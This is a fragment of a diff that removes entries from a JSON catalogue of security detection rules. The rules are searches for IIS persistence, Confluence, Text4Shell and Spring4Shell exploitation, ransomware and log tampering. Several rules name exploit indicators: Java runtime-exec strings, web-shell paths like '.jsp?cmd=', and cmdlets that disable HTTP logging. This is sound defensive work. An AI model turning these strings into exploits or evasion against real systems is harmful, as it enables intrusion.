because IIS modules are rarely added to production servers, and unauthorized modules could indicate malicious activity. If confirmed malicious, an attacker could use these modules to execute arbitrary code, escalate privileges, or maintain persistence within the environment, potentially compromising the server and sensitive data.", - "search": "`iis_operational_logs` EventCode=29 | stats count min(_time) as firstTime max(_time) as lastTime by OpCode EventCode ComputerName Message | rename ComputerName AS dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_iis_components_new_module_added_filter`", - "tags": { - "analytic_story": [ - "IIS Components" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A new IIS Module has been loaded and should be reviewed on $dest$.", - "risk_score": 48, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1505", - "mitre_attack_technique": "Server Software Component", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1505.004", - "mitre_attack_technique": "IIS Components", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows PowerShell Add Module to Global Assembly Cache", - "description": "The following analytic detects the addition of a DLL to the Windows Global Assembly Cache (GAC) using PowerShell. It leverages PowerShell Script Block Logging to identify commands containing \"system.enterpriseservices.internal.publish\". This activity is significant because adding a DLL to the GAC allows it to be shared across multiple applications, potentially enabling an adversary to execute malicious code system-wide. If confirmed malicious, this could lead to widespread code execution, privilege escalation, and persistent access across the operating system, posing a severe security risk.", - "search": "`powershell` EventCode=4104 ScriptBlockText IN(\"*system.enterpriseservices.internal.publish*\") | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer user_id | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_powershell_add_module_to_global_assembly_cache_filter`", - "tags": { - "analytic_story": [ - "IIS Components" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "Computer", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "PowerShell was used to install a module to the Global Assembly Cache on $Computer$.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1505", - "mitre_attack_technique": "Server Software Component", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1505.004", - "mitre_attack_technique": "IIS Components", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows PowerShell Disable HTTP Logging", - "description": "The following analytic detects the use of `get-WebConfigurationProperty` and `Set-ItemProperty` commands in PowerShell to disable HTTP logging on Windows systems. This detection leverages PowerShell Script Block Logging, specifically looking for script blocks that reference HTTP logging properties and attempt to set them to \"false\" or \"dontLog\". Disabling HTTP logging is significant as it can be used by adversaries to cover their tracks and delete logs, hindering forensic investigations. If confirmed malicious, this activity could allow attackers to evade detection and persist in the environment undetected.", - "search": "`powershell` EventCode=4104 ScriptBlockText IN(\"*get-WebConfigurationProperty*\",\"*Set-ItemProperty*\") AND ScriptBlockText IN (\"*httpLogging*\",\"*Logfile.enabled*\") AND ScriptBlockText IN (\"*dontLog*\", \"*false*\") | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer user_id | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_powershell_disable_http_logging_filter`", - "tags": { - "analytic_story": [ - "IIS Components", - "Windows Defense Evasion Tactics" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "Computer", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A PowerShell Cmdlet related to disable or modifying a IIS HTTP logging has occurred on $Computer$.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1562.002", - "mitre_attack_technique": "Disable Windows Event Logging", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound", - "Threat Group-3390" - ] - }, - { - "mitre_attack_id": "T1505", - "mitre_attack_technique": "Server Software Component", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1505.004", - "mitre_attack_technique": "IIS Components", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows PowerShell IIS Components WebGlobalModule Usage", - "description": "The following analytic detects the usage of PowerShell Cmdlets - New-WebGlobalModule, Enable-WebGlobalModule, and Set-WebGlobalModule, which are used to create, enable, or modify IIS Modules. This detection leverages PowerShell Script Block Logging, specifically monitoring EventCode 4104 for these cmdlets. This activity is significant as adversaries may use these lesser-known cmdlets to manipulate IIS configurations, similar to AppCmd.exe, potentially bypassing traditional defenses. If confirmed malicious, this could allow attackers to persist in the environment, manipulate web server behavior, or escalate privileges.", - "search": "`powershell` EventCode=4104 ScriptBlockText IN(\"*New-WebGlobalModule*\",\"*Enable-WebGlobalModule*\",\"*Set-WebGlobalModule*\") | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer user_id | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_powershell_iis_components_webglobalmodule_usage_filter`", - "tags": { - "analytic_story": [ - "IIS Components" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "Computer", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A PowerShell Cmdlet related to enabling, creating or modifying a IIS module has occurred on $Computer$.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1505", - "mitre_attack_technique": "Server Software Component", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1505.004", - "mitre_attack_technique": "IIS Components", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows Server Software Component GACUtil Install to GAC", - "description": "The following analytic detects the use of GACUtil.exe to add a DLL into the Global Assembly Cache (GAC). It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant because adding a DLL to the GAC allows it to be called by any application, potentially enabling widespread code execution. If confirmed malicious, this could allow an attacker to execute arbitrary code across the operating system, leading to privilege escalation or persistent access.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=gacutil.exe Processes.process IN (\"*-i *\",\"*/i *\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_server_software_component_gacutil_install_to_gac_filter`", - "tags": { - "analytic_story": [ - "IIS Components" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to add a module to the global assembly cache.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1505", - "mitre_attack_technique": "Server Software Component", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1505.004", - "mitre_attack_technique": "IIS Components", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Confluence Unauthenticated Remote Code Execution CVE-2022-26134", - "description": "The following analytic detects attempts to exploit CVE-2022-26134, an unauthenticated remote code execution vulnerability in Confluence. It leverages the Web datamodel to analyze network and CIM-compliant web logs, identifying suspicious URL patterns and parameters indicative of exploitation attempts. This activity is significant as it allows attackers to execute arbitrary code on the Confluence server without authentication, potentially leading to full system compromise. If confirmed malicious, this could result in unauthorized access, data exfiltration, and further lateral movement within the network. Immediate investigation and remediation are crucial to prevent extensive damage.", - "search": "| tstats count min(_time) as firstTime max(_time) as lastTime from datamodel=Web where Web.url IN (\"*${*\", \"*%2F%7B*\") (Web.url=\"*org.apache.commons.io.IOUtils*\" Web.url=\"*java.lang.Runtime@getRuntime().exec*\") OR (Web.url=\"*java.lang.Runtime%40getRuntime%28%29.exec*\") OR (Web.url=\"*getEngineByName*\" AND Web.url=\"*nashorn*\" AND Web.url=\"*ProcessBuilder*\") by Web.http_user_agent Web.http_method, Web.url,Web.url_length Web.src, Web.dest sourcetype | `drop_dm_object_name(\"Web\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `confluence_unauthenticated_remote_code_execution_cve_2022_26134_filter`", - "tags": { - "analytic_story": [ - "Atlassian Confluence Server and Data Center CVE-2022-26134", - "Confluence Data Center and Confluence Server Vulnerabilities" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "IP Address", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "A URL was requested related to CVE-2022-26134, a unauthenticated remote code execution vulnerability, on $dest$ by $src$.", - "risk_score": 100, - "security_domain": "network", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1505", - "mitre_attack_technique": "Server Software Component", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Exploit Public Facing Application via Apache Commons Text", - "description": "The following analytic detects attempts to exploit the CVE-2022-42889 vulnerability in the Apache Commons Text Library, known as Text4Shell. It leverages the Web datamodel to identify suspicious HTTP requests containing specific lookup keys (url, dns, script) that can lead to Remote Code Execution (RCE). This activity is significant as it targets a critical vulnerability that can allow attackers to execute arbitrary code on the server. If confirmed malicious, this could lead to full system compromise, data exfiltration, or further lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Web where Web.http_method IN (POST, GET) by Web.src Web.status Web.uri_path Web.dest Web.http_method Web.uri_query Web.http_user_agent | `drop_dm_object_name(\"Web\")` | eval utf=if(like(lower(uri_query),\"%:utf-8:http%\"),2,0) | eval lookup = if(like(lower(uri_query), \"%url%\") OR like(lower(uri_query), \"%dns%\") OR like(lower(uri_query), \"%script%\"),2,0) | eval other_lookups = if(like(lower(uri_query), \"%env%\") OR like(lower(uri_query), \"%file%\") OR like(lower(uri_query), \"%getRuntime%\") OR like(lower(uri_query), \"%java%\") OR like(lower(uri_query), \"%localhost%\") OR like(lower(uri_query), \"%properties%\") OR like(lower(uri_query), \"%resource%\") OR like(lower(uri_query), \"%sys%\") OR like(lower(uri_query), \"%xml%\") OR like(lower(uri_query), \"%base%\"),1,0) | addtotals fieldname=Score utf lookup other_lookups | fields Score, src, dest, status, uri_query, uri_path, http_method, http_user_agent firstTime lastTime | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | where Score >= 3 | `exploit_public_facing_application_via_apache_commons_text_filter`", - "tags": { - "analytic_story": [ - "Text4Shell CVE-2022-42889" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "IP Address", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "A URL was requested related to Text4Shell on $dest$ by $src$.", - "risk_score": 49, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1505.003", - "mitre_attack_technique": "Web Shell", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT32", - "APT38", - "APT39", - "APT5", - "BackdoorDiplomacy", - "Deep Panda", - "Dragonfly", - "FIN13", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "Kimsuky", - "Leviathan", - "Magic Hound", - "Moses Staff", - "OilRig", - "Sandworm Team", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Volatile Cedar", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1505", - "mitre_attack_technique": "Server Software Component", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Spring4Shell Payload URL Request", - "description": "The following analytic detects attempts to exploit the Spring4Shell vulnerability (CVE-2022-22963) by identifying specific URL patterns associated with web shell payloads. It leverages web traffic data, focusing on HTTP GET requests with URLs containing indicators like \"tomcatwar.jsp,\" \"poc.jsp,\" and \"shell.jsp.\" This activity is significant as it suggests an attacker is trying to deploy a web shell, which can lead to remote code execution. If confirmed malicious, this could allow the attacker to gain persistent access, execute arbitrary commands, and potentially escalate privileges within the compromised environment.", - "search": "| tstats count from datamodel=Web where Web.http_method IN (\"GET\") Web.url IN (\"*tomcatwar.jsp*\",\"*poc.jsp*\",\"*shell.jsp*\") by Web.http_user_agent Web.http_method, Web.url,Web.url_length Web.src, Web.dest sourcetype | `drop_dm_object_name(\"Web\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `spring4shell_payload_url_request_filter`", - "tags": { - "analytic_story": [ - "Spring4Shell CVE-2022-22965" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "IP Address", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "A URL was requested related to Spring4Shell POC code on $dest$ by $src$.", - "risk_score": 36, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1505.003", - "mitre_attack_technique": "Web Shell", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT32", - "APT38", - "APT39", - "APT5", - "BackdoorDiplomacy", - "Deep Panda", - "Dragonfly", - "FIN13", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "Kimsuky", - "Leviathan", - "Magic Hound", - "Moses Staff", - "OilRig", - "Sandworm Team", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Volatile Cedar", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1505", - "mitre_attack_technique": "Server Software Component", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Web JSP Request via URL", - "description": "The following analytic identifies URL requests associated with CVE-2022-22965 (Spring4Shell) exploitation attempts, specifically targeting webshell access on a remote webserver. It detects HTTP GET requests with URLs containing \".jsp?cmd=\" or \"j&cmd=\" patterns. This activity is significant as it indicates potential webshell deployment, which can lead to unauthorized remote command execution. If confirmed malicious, attackers could gain control over the webserver, execute arbitrary commands, and potentially escalate privileges, leading to severe data breaches and system compromise.", - "search": "| tstats count from datamodel=Web where Web.http_method IN (\"GET\") Web.url IN (\"*.jsp?cmd=*\",\"*j&cmd=*\") by Web.http_user_agent Web.http_method, Web.url,Web.url_length Web.src, Web.dest sourcetype | `drop_dm_object_name(\"Web\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `web_jsp_request_via_url_filter`", - "tags": { - "analytic_story": [ - "Spring4Shell CVE-2022-22965" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "A suspicious URL has been requested against $dest$ by $src$, related to web shell activity.", - "risk_score": 72, - "security_domain": "network", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1505.003", - "mitre_attack_technique": "Web Shell", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT32", - "APT38", - "APT39", - "APT5", - "BackdoorDiplomacy", - "Deep Panda", - "Dragonfly", - "FIN13", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "Kimsuky", - "Leviathan", - "Magic Hound", - "Moses Staff", - "OilRig", - "Sandworm Team", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Volatile Cedar", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1505", - "mitre_attack_technique": "Server Software Component", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } } ], "external_reference": [ @@ -637142,1566 +429332,6 @@ "https://azure.microsoft.com/en-us/services/storage/blobs/", "https://cloud.google.com/storage" ] - }, - { - "name": "Common Ransomware Extensions", - "description": "The following analytic detects modifications to files with extensions commonly associated with ransomware. It leverages the Endpoint.Filesystem data model to identify changes in file extensions that match known ransomware patterns. This activity is significant because it suggests an attacker is attempting to encrypt or alter files, potentially leading to severe data loss and operational disruption. If confirmed malicious, this activity could result in the encryption of critical data, rendering it inaccessible and causing significant damage to the organization's data integrity and availability.", - "search": "| tstats `security_content_summariesonly` min(_time) as firstTime max(_time) as lastTime count latest(Filesystem.user) as user values(Filesystem.file_path) as file_path from datamodel=Endpoint.Filesystem by Filesystem.file_name Filesystem.dest _time span=1h | `drop_dm_object_name(Filesystem)` | rex field=file_name \"(?\\.[^\\.]+)$\" | rex field=file_path \"(?([^\\\\\\]*\\\\\\)*).*\" | stats min(firstTime) as firstTime max(lastTime) as lastTime latest(user) as user dc(true_file_path) as path_count dc(file_name) as file_count latest(file_name) as file_name latest(true_file_path) as file_path by dest file_extension | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `ransomware_extensions` | where path_count > 1 OR file_count > 20 | `common_ransomware_extensions_filter`", - "tags": { - "analytic_story": [ - "Clop Ransomware", - "LockBit Ransomware", - "Prestige Ransomware", - "Ransomware", - "Rhysida Ransomware", - "Ryuk Ransomware", - "SamSam Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "The device $dest$ wrote $file_count$ files to $path_count$ path(s) with the $file_extension$ extension. This extension and behavior may indicate a $Name$ ransomware attack.", - "risk_score": 90, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1485", - "mitre_attack_technique": "Data Destruction", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT38", - "Gamaredon Group", - "LAPSUS$", - "Lazarus Group", - "Sandworm Team" - ] - } - ] - } - }, - { - "name": "Common Ransomware Notes", - "description": "The following analytic detects the creation of files with names commonly associated with ransomware notes. It leverages file-system activity data from the Endpoint Filesystem data model, typically populated by endpoint detection and response (EDR) tools or Sysmon logs. This activity is significant because ransomware notes indicate a potential ransomware attack, which can lead to data encryption and extortion. If confirmed malicious, this activity could result in significant data loss, operational disruption, and financial impact due to ransom demands.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Filesystem.user) as user values(Filesystem.dest) as dest values(Filesystem.file_path) as file_path from datamodel=Endpoint.Filesystem by Filesystem.file_name | `drop_dm_object_name(Filesystem)` | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `ransomware_notes` | `common_ransomware_notes_filter`", - "tags": { - "analytic_story": [ - "Chaos Ransomware", - "Clop Ransomware", - "LockBit Ransomware", - "Ransomware", - "Rhysida Ransomware", - "Ryuk Ransomware", - "SamSam Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "file_name", - "type": "File Name", - "role": [ - "Victim" - ] - } - ], - "message": "A file - $file_name$ was written to disk on endpoint $dest$ by user $user$, this is indicative of a known ransomware note file and should be reviewed immediately.", - "risk_score": 90, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1485", - "mitre_attack_technique": "Data Destruction", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT38", - "Gamaredon Group", - "LAPSUS$", - "Lazarus Group", - "Sandworm Team" - ] - } - ] - } - }, - { - "name": "Excessive File Deletion In WinDefender Folder", - "description": "The following analytic detects excessive file deletion events in the Windows Defender folder. It leverages Sysmon EventCodes 23 and 26 to identify processes deleting multiple files within this directory. This behavior is significant as it may indicate an attempt to corrupt or disable Windows Defender, a key security component. If confirmed malicious, this activity could allow an attacker to disable endpoint protection, facilitating further malicious actions without detection.", - "search": "`sysmon` EventCode IN (\"23\",\"26\") TargetFilename = \"*\\\\ProgramData\\\\Microsoft\\\\Windows Defender\\\\*\" | stats count, values(TargetFilename) as deleted_files, min(_time) as firstTime, max(_time) as lastTime by user, dest, signature, signature_id, Image, process_name, process_guid | rename Image as process | where count >=50 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `excessive_file_deletion_in_windefender_folder_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "Data Destruction", - "WhisperGate" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "deleted_files", - "type": "File Name", - "role": [ - "Attacker" - ] - } - ], - "message": "Excessive file deletion events were detected in the Windows Defender folder on $dest$ by $user$. Investigate further to determine if this activity is malicious.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1485", - "mitre_attack_technique": "Data Destruction", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT38", - "Gamaredon Group", - "LAPSUS$", - "Lazarus Group", - "Sandworm Team" - ] - } - ] - } - }, - { - "name": "Linux Account Manipulation Of SSH Config and Keys", - "description": "The following analytic detects the deletion of SSH keys on a Linux machine. It leverages filesystem event logs to identify when files within \"/etc/ssh/*\" or \"~/.ssh/*\" are deleted. This activity is significant because attackers may delete or modify SSH keys to evade security measures or as part of a destructive payload, similar to the AcidRain malware. If confirmed malicious, this behavior could lead to impaired security features, hindered forensic investigations, or further unauthorized access, necessitating immediate investigation to identify the responsible process and user.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.action=deleted AND Filesystem.file_path IN (\"/etc/ssh/*\", \"~/.ssh/*\") by _time span=1h Filesystem.file_name Filesystem.file_path Filesystem.dest Filesystem.process_guid Filesystem.action | `drop_dm_object_name(Filesystem)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `linux_account_manipulation_of_ssh_config_and_keys_filter`", - "tags": { - "analytic_story": [ - "AcidRain" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives", - "Exploitation" - ], 